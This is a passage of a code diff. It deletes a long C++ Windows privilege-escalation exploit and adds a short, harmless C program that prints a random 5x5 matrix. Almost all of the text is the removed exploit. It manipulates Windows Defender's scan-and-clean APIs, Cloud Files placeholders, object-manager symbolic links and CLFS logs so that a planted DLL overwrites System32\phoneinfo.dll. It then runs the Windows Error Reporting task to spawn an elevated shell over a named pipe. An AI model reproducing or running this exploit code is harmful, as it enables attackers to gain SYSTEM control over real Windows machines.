OUT PHANDLE DirectoryHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN HANDLE ShadowDirectoryHandle, - IN ULONG Flags) = - (NTSTATUS(WINAPI*)( - OUT PHANDLE DirectoryHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN HANDLE ShadowDirectoryHandle, - IN ULONG Flags))GetProcAddress(ntdllhm, "NtCreateDirectoryObjectEx"); - -class ObjectSymlinkMgr { - -public: - - ObjectSymlinkMgr(wchar_t* symlinkpath, wchar_t* symlinktarget, HANDLE hparentobjdir = NULL) { - if (!symlinkpath || !symlinktarget) - { - throw STATUS_INVALID_PARAMETER; - } - UNICODE_STRING _symlinkpath = { 0 }; - RtlInitUnicodeString(&_symlinkpath, symlinkpath); - UNICODE_STRING _symlinktarget = { 0 }; - RtlInitUnicodeString(&_symlinktarget, symlinktarget); - OBJECT_ATTRIBUTES objattr = { 0 }; - InitializeObjectAttributes(&objattr, &_symlinkpath, OBJ_CASE_INSENSITIVE, hparentobjdir, NULL); - NTSTATUS stat = _NtCreateSymbolicLinkObject(&this->hlink, GENERIC_ALL, &objattr, &_symlinktarget); - if (stat) - throw stat; - } - HANDLE GetHandle() { - return this->hlink; - } - ~ObjectSymlinkMgr() { - CloseHandle(this->hlink); - } -private: - HANDLE hlink = NULL; - -}; - - -class ObjectDirMgr { - - -public: - ObjectDirMgr(wchar_t* objdirpath, HANDLE hshadow = NULL, HANDLE hparent = NULL) { - if (!objdirpath) - throw STATUS_INVALID_PARAMETER; - UNICODE_STRING _objdirpath = { 0 }; - RtlInitUnicodeString(&_objdirpath, objdirpath); - OBJECT_ATTRIBUTES objattr = { 0 }; - InitializeObjectAttributes(&objattr, &_objdirpath, OBJ_CASE_INSENSITIVE, hparent, NULL); - NTSTATUS stat = _NtCreateDirectoryObjectEx(&this->hobjdir, GENERIC_ALL, &objattr, hshadow, NULL); - if (stat) - throw; - } - HANDLE GetHandle() { - return this->hobjdir; - } - ~ObjectDirMgr() { - CloseHandle(hobjdir); - } -private: - HANDLE hobjdir; - -}; - - -void GenerateGUID(wchar_t* guid) -{ - GUID _guid; - HRESULT hr = CoCreateGuid(&_guid); - if (hr) - throw STATUS_ACCESS_VIOLATION; - StringFromGUID2(_guid, guid, 40); - return; -} - - - - -DWORD WDCLBK() -{ - return 0; -} - -bool GetWDInstallDir(wchar_t* dirname) -{ - HKEY hkey = NULL; - LSTATUS lstat = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_QUERY_VALUE, &hkey); - if (lstat) - { - printf("[-] Failed to open windows defender registry key, error : %d\n", lstat); - return false; - } - DWORD keytype = REG_SZ; - DWORD datasz = MAX_PATH * sizeof(wchar_t); - lstat = RegQueryValueEx(hkey, L"InstallLocation", NULL, &keytype, (LPBYTE)dirname, &datasz); - if (lstat) - { - printf("[-] Failed to query windows defender install location, error : %d\n", lstat); - return false; - } - RegCloseKey(hkey); - return true; -} - -HANDLE hnotify = CreateEvent(NULL, FALSE, FALSE, NULL); - -void** cleanctx = NULL; - -HRESULT(WINAPI* _MpCleanControl)( - _In_ MPHANDLE hScanHandle, - _In_ DWORD ScanControl - ); - -DWORD WINAPI WDStartScan(void*) -{ - wchar_t dllpath[MAX_PATH] = { 0 }; - - if (!GetWDInstallDir(dllpath)) - { - ExitProcess(1); - } - wcscat(dllpath, L"MpClient.dll"); - HMODULE hm = LoadLibrary(dllpath); - if (!hm) - { - printf("[-] Failed to load MpClient.dll, error : %d\n", GetLastError()); - ExitProcess(1); - } - - HRESULT(WINAPI * _MpUpdateStart)( - _In_ MPHANDLE hMpHandle, - _In_ DWORD dwUpdateOptions, - _In_opt_ PMPCALLBACK_INFO pCallbackInfo, - _Out_ PMPHANDLE phUpdateHandle) = (HRESULT(WINAPI*)( - _In_ MPHANDLE hMpHandle, - _In_ DWORD dwUpdateOptions, - _In_opt_ PMPCALLBACK_INFO pCallbackInfo, - _Out_ PMPHANDLE phUpdateHandle - ))GetProcAddress(hm, "MpUpdateStart"); - - HRESULT(WINAPI * _MpManagerOpen)( - _In_ DWORD dwReserved, - _Out_ PMPHANDLE phMpHandle - ) = (HRESULT(WINAPI*)( - _In_ DWORD dwReserved, - _Out_ PMPHANDLE phMpHandle - ))GetProcAddress(hm, "MpManagerOpen"); - - HRESULT(WINAPI * _MpScanStart)( - _In_ MPHANDLE hMpHandle, - _In_ MPSCAN_TYPE ScanType, - _In_ DWORD dwScanOptions, - _In_opt_ PMPSCAN_RESOURCES pScanResources, - _In_opt_ PMPCALLBACK_INFO pCallbackInfo, - _Out_ PMPHANDLE phScanHandle - ) = (HRESULT(WINAPI*)( - _In_ MPHANDLE hMpHandle, - _In_ MPSCAN_TYPE ScanType, - _In_ DWORD dwScanOptions, - _In_opt_ PMPSCAN_RESOURCES pScanResources, - _In_opt_ PMPCALLBACK_INFO pCallbackInfo, - _Out_ PMPHANDLE phScanHandle - ))GetProcAddress(hm, "MpScanStart"); - HRESULT(WINAPI * _MpScanResult)(MPHANDLE a1, void* a2) = (HRESULT(WINAPI*)(MPHANDLE a1, void* a2))GetProcAddress(hm, "MpScanResult"); - - HRESULT(WINAPI * _MpThreatOpen)( - _In_ MPHANDLE hScanHandle, - _In_ MPTHREAT_SOURCE ThreatSource, - _In_ MPTHREAT_TYPE ThreatType, - _Out_ PMPHANDLE phThreatEnumHandle - ) = (HRESULT(WINAPI*)( - _In_ MPHANDLE hScanHandle, - _In_ MPTHREAT_SOURCE ThreatSource, - _In_ MPTHREAT_TYPE ThreatType, - _Out_ PMPHANDLE phThreatEnumHandle - ))GetProcAddress(hm, "MpThreatOpen"); - HRESULT(WINAPI * _MpThreatEnumerate)( - _In_ MPHANDLE hThreatEnumHandle, - _Out_ PMPTHREAT_INFO * ppThreatInfo - ) = (HRESULT(WINAPI*)( - _In_ MPHANDLE hThreatEnumHandle, - _Out_ PMPTHREAT_INFO * ppThreatInfo - ))GetProcAddress(hm, "MpThreatEnumerate"); - HRESULT(WINAPI * _MpCleanOpen) - (void* a1, void* a2, void*** a3) = (HRESULT(WINAPI*) - (void* a1, void* a2, void*** a3))GetProcAddress(hm, "MpCleanOpen"); - HRESULT(WINAPI * _MpCleanStart)(void* a1, unsigned int a2, void* a3) = (HRESULT(WINAPI*)(void* a1, unsigned int a2, void* a3))GetProcAddress(hm, "MpCleanStart"); - HRESULT(WINAPI * _MpHandleClose)( - _In_ MPHANDLE hMpHandle - ) = (HRESULT(WINAPI*)(_In_ MPHANDLE hMpHandle))GetProcAddress(hm, "MpHandleClose"); - _MpCleanControl = (HRESULT(WINAPI*)( - _In_ MPHANDLE hScanHandle, - _In_ DWORD ScanControl - ))GetProcAddress(hm, "MpCleanControl"); - - if (!_MpManagerOpen || !_MpScanStart || !_MpScanResult || !_MpThreatOpen || !_MpThreatEnumerate || !_MpCleanOpen || !_MpCleanStart || !_MpHandleClose) - { - printf("[-] Failed to initialize dll imports.\n"); - ExitProcess(1); - } - - MPHANDLE hbinding = NULL; - HRESULT hres = _MpManagerOpen(NULL, &hbinding); - if (hres) - { - printf("[-] Failed to open windows defender RPC interface, error : 0x%0.8X\n", hres); - ExitProcess(1); - } - - MPRESOURCE_INFO scaninfo = { 0 }; - scaninfo.Scheme = (wchar_t*)L"file"; - scaninfo.Path = scan_target; - MPSCAN_RESOURCES scanrsrc = { 0 }; - scanrsrc.dwResourceCount = 1; - scanrsrc.pResourceList = &scaninfo; - - MPHANDLE scanctx = NULL; - hres = _MpScanStart(hbinding, MPSCAN_TYPE_RESOURCE, 0x60004002, &scanrsrc, NULL, &scanctx); - // 0x8050111C scan pending - if (hres) - { - printf("F[-] ailed to start windows defender scan, error : 0x%0.8X\n", hres); - ExitProcess(1); - } - DWORD sz = 0x90; - void* scanres = malloc(0x90); - ZeroMemory(scanres, 0x90); - hres = _MpScanResult(scanctx, scanres); - if (hres) - { - printf("[-] Failed to fetch scan results, error : 0x%0.8X\n", hres); - ExitProcess(1); - } - - MPHANDLE threatctx = NULL; - hres = _MpThreatOpen(scanctx, MPTHREAT_SOURCE_SCAN, MPTHREAT_TYPE_KNOWNBAD, &threatctx); - if (hres) - { - printf("[-] Failed to open threats, error : 0x%0.8X\n", hres); - ExitProcess(1); - } - MPTHREAT_INFO* tinfo = NULL; - hres = _MpThreatEnumerate(threatctx, &tinfo); - if (hres == 0x1) - { - printf("[-] No threats found.\n"); - ExitProcess(0); - } - if (hres) - { - printf("[-] Failed to enumerate threats, error : 0x%0.8X\n", hres); - ExitProcess(1); - } - if (tinfo->ThreatStatus != 0x1) - { - printf("[-] Unexpected reply from MpThreatEnumerate.\n"); - ExitProcess(1); - } - - hres = _MpCleanOpen(scanctx, NULL, &cleanctx); - if (hres) - { - printf("[-] MpCleanOpen failed, error : 0x%0.8X\n", hres); - ExitProcess(1); - } - - void* callbackaddr[2] = { WDCLBK, WDCLBK }; - - hres = _MpCleanStart(cleanctx, NULL, callbackaddr); - if (hres) - { - printf("[-] MpCleanStart failed, error : 0x%0.8X\n", hres); - ExitProcess(1); - } - WaitForSingleObject(hnotify, INFINITE); - CloseHandle(hnotify); - _MpHandleClose(scanctx); - _MpHandleClose(threatctx); - _MpHandleClose(hbinding); - return ERROR_SUCCESS; - -} - - -void CALLBACK CLBK( - _In_ CONST CF_CALLBACK_INFO* CallbackInfo, - _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters -) { - LARGE_INTEGER offset = CallbackParameters->FetchData.RequiredFileOffset; - LARGE_INTEGER length = CallbackParameters->FetchData.RequiredLength; - DWORD* RNA = (DWORD*)CallbackInfo->CallbackContext; - CF_OPERATION_PARAMETERS opParams = { 0 }; - opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS); - - if (*RNA == 1) { - opParams.TransferData.Buffer = pResourceData_zip; - opParams.TransferData.Offset = offset; - opParams.TransferData.Length.QuadPart = dwSize_zip; - *RNA = 2; - } - else { - opParams.TransferData.Buffer = pResourceData_dll; - opParams.TransferData.Offset = offset; - opParams.TransferData.Length.QuadPart = dwSize_dll; - } - opParams.TransferData.CompletionStatus = STATUS_SUCCESS; - CF_OPERATION_INFO opInfo = { 0 }; - opInfo.StructSize = sizeof(CF_OPERATION_INFO); - opInfo.Type = CF_OPERATION_TYPE_TRANSFER_DATA; - opInfo.ConnectionKey = CallbackInfo->ConnectionKey; - opInfo.TransferKey = CallbackInfo->TransferKey; - HRESULT hr = S_OK; - - hr = CfExecute(&opInfo, &opParams); - if (FAILED(hr)) { - std::wcerr << L"[-] CfExecute failed with HRESULT: 0x" << std::hex << hr << std::endl; - throw hr; - } - printf("[+] Cloud provider callback success.\n"); - { - CF_OPERATION_PARAMETERS opParams = { 0 }; - CF_OPERATION_INFO opInfo = { 0 }; - HRESULT hr = S_OK; - - opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS); - opParams.AckData.CompletionStatus = STATUS_SUCCESS; - opParams.AckData.Flags = CF_OPERATION_ACK_DATA_FLAG_NONE; - opParams.AckData.Length = length; - opParams.AckData.Offset = offset; - opInfo.StructSize = sizeof(CF_OPERATION_INFO); - opInfo.Type = CF_OPERATION_TYPE_ACK_DATA; - opInfo.ConnectionKey = CallbackInfo->ConnectionKey; - opInfo.TransferKey = CallbackInfo->TransferKey; - hr = CfExecute(&opInfo, &opParams); - if (FAILED(hr)) { - std::wcerr << L"[-] CfExecute failed with HRESULT: 0x" << std::hex << hr << std::endl; - throw hr; - } - printf("[+] Cloud provider callback success.\n"); - } -} - - -int main() -{ - if (GetFileAttributes(L"C:\\Windows\\System32\\phoneinfo.dll") != INVALID_FILE_ATTRIBUTES) - { - printf("Delete phoneinfo.dll fucktard.\n"); - return 1; - } - SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); - SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); - HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\SHIELDBREAK", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL, NULL); - if (hpipe == INVALID_HANDLE_VALUE) - return 1; - wchar_t mainguid[64] = { 0 }; - GenerateGUID(mainguid); - std::wstring workdir = L"C:\\ShieldBreak_"; - workdir.append(mainguid); - std::wstring ntworkdir = L"\\??\\" + workdir; - HANDLE hworkdir = NULL; - UNICODE_STRING _uworkdir = { 0 }; - RtlInitUnicodeString(&_uworkdir, ntworkdir.c_str()); - - PSID pEveryoneSID = NULL; - PACL pACL = NULL; - EXPLICIT_ACCESS ea; - SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; - if (!AllocateAndInitializeSid(&SIDAuthWorld, 1, - SECURITY_WORLD_RID, - 0, 0, 0, 0, 0, 0, 0, - &pEveryoneSID)) - { - return 1; - } - - ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); - ea.grfAccessPermissions = GENERIC_ALL; - ea.grfAccessMode = SET_ACCESS; - ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT | NO_INHERITANCE; - - ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; - ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - ea.Trustee.ptstrName = (LPTSTR)pEveryoneSID; - - DWORD dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL); - if (dwRes != ERROR_SUCCESS) { - FreeSid(pEveryoneSID); - return 0; - } - PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LMEM_FIXED, SECURITY_DESCRIPTOR_MIN_LENGTH); - InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); - SetSecurityDescriptorDacl(sd, TRUE, pACL, FALSE); - - OBJECT_ATTRIBUTES workdirobjattr = { 0 }; - InitializeObjectAttributes(&workdirobjattr, &_uworkdir, OBJ_CASE_INSENSITIVE, NULL, sd); - IO_STATUS_BLOCK iostat2 = { 0 }; - NTSTATUS stat = NtCreateFile(&hworkdir, GENERIC_READ | SYNCHRONIZE, &workdirobjattr, &iostat2, NULL, FILE_ATTRIBUTE_HIDDEN, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL); - if (stat) - throw stat; - printf("[+] %ws was created.\n", _uworkdir.Buffer); - GUID ProviderId; - CLSIDFromString(L"{B196E670-59C7-4D41-9637-C62D80541321}", &ProviderId); - CF_SYNC_REGISTRATION reg = { 0 }; - reg.StructSize = sizeof(reg); - reg.ProviderName = L"Flubber"; - reg.ProviderVersion = L"1.0"; - reg.ProviderId = ProviderId; - - CF_SYNC_POLICIES policies = { 0 }; - policies.StructSize = sizeof(policies); - policies.HardLink = CF_HARDLINK_POLICY_ALLOWED; - policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL; - policies.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED | CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; - policies.InSync = CF_INSYNC_POLICY_NONE; - policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL; - HRESULT hs = CfRegisterSyncRoot(workdir.c_str(), ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); - if (hs) - throw hs; - printf("[+] Cloud provider has been registered.\n"); - CF_CALLBACK_REGISTRATION table[2]; - table[0] = { CF_CALLBACK_TYPE_FETCH_DATA, CLBK }; - table[1] = CF_CALLBACK_REGISTRATION_END; - CF_CONNECTION_KEY key = { 0 }; - DWORD attemptn = 1; - hs = CfConnectSyncRoot(workdir.c_str(), table, &attemptn, CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH | CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO, &key); - if (hs) - throw hs; - printf("[+] Attached cloud provider to %ws\n", workdir.c_str()); - CF_PLACEHOLDER_CREATE_INFO place_holders[1] = { 0 }; - place_holders[0].RelativeFileName = L"BERLIN"; - FILETIME ft = { 0 }; - GetSystemTimeAsFileTime(&ft); - LARGE_INTEGER ttime = { 0 }; - ttime.LowPart = ft.dwLowDateTime; - ttime.HighPart = ft.dwHighDateTime; - place_holders[0].FsMetadata.BasicInfo.CreationTime = ttime; - place_holders[0].FsMetadata.FileSize.QuadPart = dwSize_zip; - place_holders[0].FsMetadata.BasicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; - place_holders[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC; - place_holders[0].FileIdentity = malloc(0x130); - place_holders[0].FileIdentityLength = 0x130; - DWORD pentries = 0; - - hs = CfCreatePlaceholders(workdir.c_str(), place_holders, 1, - CF_CREATE_FLAG_NONE, &pentries); - if (hs) - throw hs; - printf("[+] Placeholder created.\n"); - std::wstring targetobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_TARGET_"; - targetobjdirpath.append(mainguid); - ObjectDirMgr* targetdir = new ObjectDirMgr((wchar_t*)targetobjdirpath.c_str()); - printf("[+] %ws object manager directory created\n", targetobjdirpath.c_str()); - - std::wstring shadowobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_SHADOW_"; - shadowobjdirpath.append(mainguid); - ObjectDirMgr* shadowdir = new ObjectDirMgr((wchar_t*)shadowobjdirpath.c_str(), targetdir->GetHandle()); - printf("[+] %ws object manager directory created\n", shadowobjdirpath.c_str()); - - std::wstring shlnkpath = L"WD_SCAN"; - std::wstring shlnktarget = ntworkdir; - ObjectSymlinkMgr* shlnk = new ObjectSymlinkMgr((wchar_t*)shlnkpath.c_str(), (wchar_t*)shlnktarget.c_str(), shadowdir->GetHandle()); - printf("[+] %ws <=> %ws object link created\n", shlnkpath.c_str(), shlnktarget.c_str()); - - std::wstring mnlnktarget = L"\\CLFS\\??\\" + workdir; - ObjectSymlinkMgr* mnlnk = new ObjectSymlinkMgr((wchar_t*)shlnkpath.c_str(), (wchar_t*)mnlnktarget.c_str(), targetdir->GetHandle()); - printf("[+] %ws <=> %ws object link created\n", shlnkpath.c_str(), mnlnktarget.c_str()); - - std::wstring scan_path = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_" + std::wstring(mainguid) + L"\\WD_SCAN\\BERLIN"; - wcscpy(scan_target, scan_path.c_str()); - std::wstring malfilepath = workdir + L"\\BERLIN"; - std::wstring ntmalfilepath = L"\\??\\" + malfilepath; - UNICODE_STRING _umalfilepath = { 0 }; - RtlInitUnicodeString(&_umalfilepath, ntmalfilepath.c_str()); - iostat2 = { 0 }; - OBJECT_ATTRIBUTES malfileobjattr = { 0 }; - InitializeObjectAttributes(&malfileobjattr, &_umalfilepath, OBJ_CASE_INSENSITIVE, NULL, NULL); - HANDLE hzip = NULL; - stat = NtCreateFile(&hzip, SYNCHRONIZE | FILE_READ_DATA, &malfileobjattr, &iostat2, NULL, FILE_ATTRIBUTE_HIDDEN, ALL_SHARING, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL); - if (stat) - throw stat; - printf("[+] Created %ws\n", ntmalfilepath.c_str()); - - LARGE_INTEGER fsz = { 0 }; - fsz.QuadPart = -1; - - if (!CopyFile(L"C:\\Windows\\System32\\ntdll.dll", std::wstring(workdir + L"\\BERLIN:stream").c_str(), FALSE)) - { - printf("[-] File copy failed.\n"); - return 1; - } - printf("[+] Copied C:\\Windows\\System32\\ntdll.dll => %ws\n", std::wstring(workdir + L"\\BERLIN:stream").c_str()); - - HANDLE hmonitor = hworkdir; - DWORD retb = 0; - DWORD tid = 0; - - CF_TRANSFER_KEY cftranskey = { 0 }; - hs = CfGetTransferKey(hzip, &cftranskey); - if (hs) - { - throw hs; - } - CF_OPERATION_INFO opInfo = { 0 }; - opInfo.StructSize = sizeof(CF_OPERATION_INFO); - opInfo.Type = CF_OPERATION_TYPE_RESTART_HYDRATION; - opInfo.ConnectionKey = key; - opInfo.TransferKey = cftranskey; - CF_FS_METADATA cfm = { 0 }; - cfm.FileSize.QuadPart = dwSize_dll; - CF_OPERATION_PARAMETERS opParams = { 0 }; - opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS); - opParams.RestartHydration.Flags = CF_OPERATION_RESTART_HYDRATION_FLAG_NONE; - opParams.RestartHydration.FileIdentity = place_holders[0].FileIdentity; - opParams.RestartHydration.FileIdentityLength = place_holders[0].FileIdentityLength; - opParams.RestartHydration.FsMetadata = &cfm; - HANDLE hthread = CreateThread(NULL, NULL, WDStartScan, NULL, NULL, &tid); - if (!hthread) - { - printf("[-] Failed to initiate scan.\n"); - throw GetLastError(); - } - printf("[*] Scan initiated for %ws\n[*] Please wait...\n", scan_path.c_str()); - wchar_t nfilename[MAX_PATH] = { 0 }; - wchar_t nfilename2[MAX_PATH] = { 0 }; - char buff[0x1000] = { 0 }; - do { - retb = 0; - if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL)) - { - FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buff; - if (fni->Action != FILE_ACTION_ADDED) - continue; - delete shlnk; - break; - } - } while (1); - do { - retb = 0; - if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL)) - { - FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buff; - if (fni->Action != FILE_ACTION_ADDED) - continue; - memmove(nfilename, &fni->FileName[0], fni->FileNameLength * sizeof(wchar_t)); - break; - } - } while (1); - std::wstring full_clfs_name = ntworkdir + L"\\" + std::wstring(nfilename); - UNICODE_STRING _uclfs_name = { 0 }; - RtlInitUnicodeString(&_uclfs_name, full_clfs_name.c_str()); - OBJECT_ATTRIBUTES _clfs_objattr = { 0 }; - InitializeObjectAttributes(&_clfs_objattr, &_uclfs_name, OBJ_CASE_INSENSITIVE, NULL, NULL); - HANDLE hclfs_file = NULL; - iostat2 = { 0 }; - stat = NtCreateFile(&hclfs_file, FILE_READ_DATA | SYNCHRONIZE, &_clfs_objattr, &iostat2, NULL, NULL, ALL_SHARING, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL); - if (stat) { - printf("[-] Failed to open %ws error : 0x%0.8X\n", full_clfs_name.c_str(), hs); - throw stat; - } - - LARGE_INTEGER li = { 0 }; - li.QuadPart = MAXLONGLONG; - OVERLAPPED ovp = { 0 }; - LockFileEx(hclfs_file, LOCKFILE_EXCLUSIVE_LOCK | LOCKFILE_FAIL_IMMEDIATELY, NULL, li.LowPart, li.HighPart, &ovp); - - ObjectDirMgr* foodir = new ObjectDirMgr((wchar_t*)L"WD_SCAN", NULL, shadowdir->GetHandle()); - wchar_t _lsymlinkname[MAX_PATH] = { 0 }; - wcscpy(_lsymlinkname, nfilename); - ZeroMemory(&_lsymlinkname[wcslen(_lsymlinkname) - 4], (MAX_PATH - wcslen(_lsymlinkname) - 4) * sizeof(wchar_t)); - ObjectSymlinkMgr* lsymlink = new ObjectSymlinkMgr(_lsymlinkname, (wchar_t*)L"\\??\\UNC\\127.0.0.1\\C$\\Windows\\System32\\phoneinfo.dll", foodir->GetHandle()); - printf("[+] Link deleted.\n"); - printf("[+] CLFS log locked.\n"); - hs = CfExecute(&opInfo, &opParams); - if (hs) - { - printf("[-] Cloud provider failed, error : 0x%0.8X\n", hs); - throw hs; - } - fsz.QuadPart = CF_EOF; - hs = CfHydratePlaceholder(hzip, { 0 }, fsz, CF_HYDRATE_FLAG_NONE, NULL); - if (hs) { - printf("[-] Cloud provider failed, error : 0x%0.8X\n", hs); - throw hs; - } - IO_STATUS_BLOCK iostat = { 0 }; - UNICODE_STRING lsymlinktarget = { 0 }; - RtlInitUnicodeString(&lsymlinktarget, L"\\??\\C:\\Windows\\System32\\phoneinfo.dll:stream"); - HANDLE hlock = NULL; - OBJECT_ATTRIBUTES lockobjattr = { 0 }; - InitializeObjectAttributes(&lockobjattr, &lsymlinktarget, OBJ_CASE_INSENSITIVE, NULL, NULL); - do { - stat = NtCreateFile(&hlock, FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE, &lockobjattr, &iostat, NULL, NULL, ALL_SHARING, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, NULL); - } while (stat != STATUS_SUCCESS); - HANDLE hmap = NULL; - do { - hmap = CreateFileMapping(hlock, NULL, PAGE_EXECUTE_READ | SEC_IMAGE, NULL, NULL, NULL); - } while (!hmap); - void* viewbuff = MapViewOfFile(hmap, FILE_MAP_READ | FILE_MAP_EXECUTE, NULL, NULL, NULL); - hs = _MpCleanControl(cleanctx, NULL); - SetEvent(hnotify); - - printf("[+] %ws file locked.\n", lsymlinktarget.Buffer); - printf("[*] Attempting to spawn shell...\n"); - - HRSRC hResInfo_wer = FindResource(NULL, MAKEINTRESOURCE(IDR_WER1), L"wer"); - HGLOBAL hResData_wer = LoadResource(NULL, hResInfo_wer); - LPVOID pResourceData_wer = LockResource(hResData_wer); - DWORD dwSize_wer = SizeofResource(NULL, hResInfo_wer); - - wchar_t werdir[MAX_PATH] = { 0 }; - wsprintf(werdir, L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\Kernel_c0000000_A_B_C-C-D-E-%ws", mainguid); - if (!CreateDirectory(werdir, NULL)) - { - printf("[-] Failed to create %ws\n", werdir); - throw GetLastError(); - } - wchar_t werfile[MAX_PATH] = { 0 }; - wsprintf(werfile, L"%ws\\Report.wer", werdir); - HANDLE hwerfile = CreateFile(werfile, GENERIC_WRITE, ALL_SHARING, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (!hwerfile || hwerfile == INVALID_HANDLE_VALUE || !WriteFile(hwerfile, hResData_wer, dwSize_wer, &retb, NULL)) { - printf("[-] Failed to create %ws\n", werfile); - return GetLastError(); - } - CloseHandle(hwerfile); - HRESULT hr = S_OK; - ITaskService* pTaskSvc; - hr = CoInitialize(NULL); - if (SUCCEEDED(hr)) - { - hr = CoCreateInstance(CLSID_TaskScheduler, - NULL, - CLSCTX_INPROC_SERVER, - IID_ITaskService, - (void**)&pTaskSvc); - if (FAILED(hr)) - { - printf("[-] Failed to initialize task scheduler COM server.\n"); - CoUninitialize(); - return 1; - } - } - else - { - return 1; - } - hr = pTaskSvc->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); - if (hr) - { - printf("[-] Failed to connect to task scheduler service, error : 0x%0.8X\n", hr); - return 1; - } - ITaskFolder* taskfolder; - pTaskSvc->GetFolder((BSTR)L"\\Microsoft\\Windows\\Windows Error Reporting", &taskfolder); - if (hr) - { - printf("[-] Failed to get task scheduler folder, error : 0x%0.8X\n", hr); - return 1; - } - IRegisteredTask* taskex; - taskfolder->GetTask((BSTR)L"QueueReporting", &taskex); - if (hr) - { - printf("[-] Failed to obtain task object, error : 0x%0.8X\n", hr); - return 1; - } - IRunningTask* runningtask; - taskex->Run(_variant_t(), &runningtask); - if (hr) - { - printf("[-] Failed to run scheduled task, error : 0x%0.8X\n", hr); - return 1; - } - - if (!ConnectNamedPipe(hpipe, NULL)) - { - printf("[-] ConnectNamedPipe failed, error : %d\n", GetLastError()); - return 1; - } - UnmapViewOfFile(viewbuff); - CloseHandle(hlock); - // lmao - printf("[+] Exploit succeeded.\n"); - runningtask->Release(); - taskex->Release(); - taskfolder->Release(); - pTaskSvc->Release(); - CoUninitialize(); - CfDisconnectSyncRoot(key); - CfUnregisterSyncRoot(workdir.c_str()); - RemoveDirectory(workdir.c_str()); - DeleteFile(werfile); - RemoveDirectory(werdir); - DeleteFile(scan_target); - RemoveDirectory(workdir.c_str()); - if(targetdir) - delete targetdir; - if(shadowdir) - delete shadowdir; - if(mnlnk) - delete mnlnk; - CloseHandle(hpipe); - - - return 0; +#include +#include +#include + +#define ROWS 5 +#define COLS 5 + +int main() { + int matrix[ROWS][COLS]; + + // Seed the random number generator using the current system time + srand(time(NULL)); + + // Populate the matrix with random integers from 1 to 100 + for (int i = 0; i < ROWS; i++) { + for (int j = 0; j < COLS; j++) { + matrix[i][j] = (rand() % 100) + 1; + } + } + + // Print the matrix to the screen + printf("Generated Random Matrix:\n"); + for (int i = 0; i < ROWS; i++) { + for (int j = 0; j < COLS; j++) { + // \t creates tab spacing to keep columns aligned neatly + printf("%d\t", matrix[i][j]); + } + printf("\n"); // Newline after each row + } + + return 0; }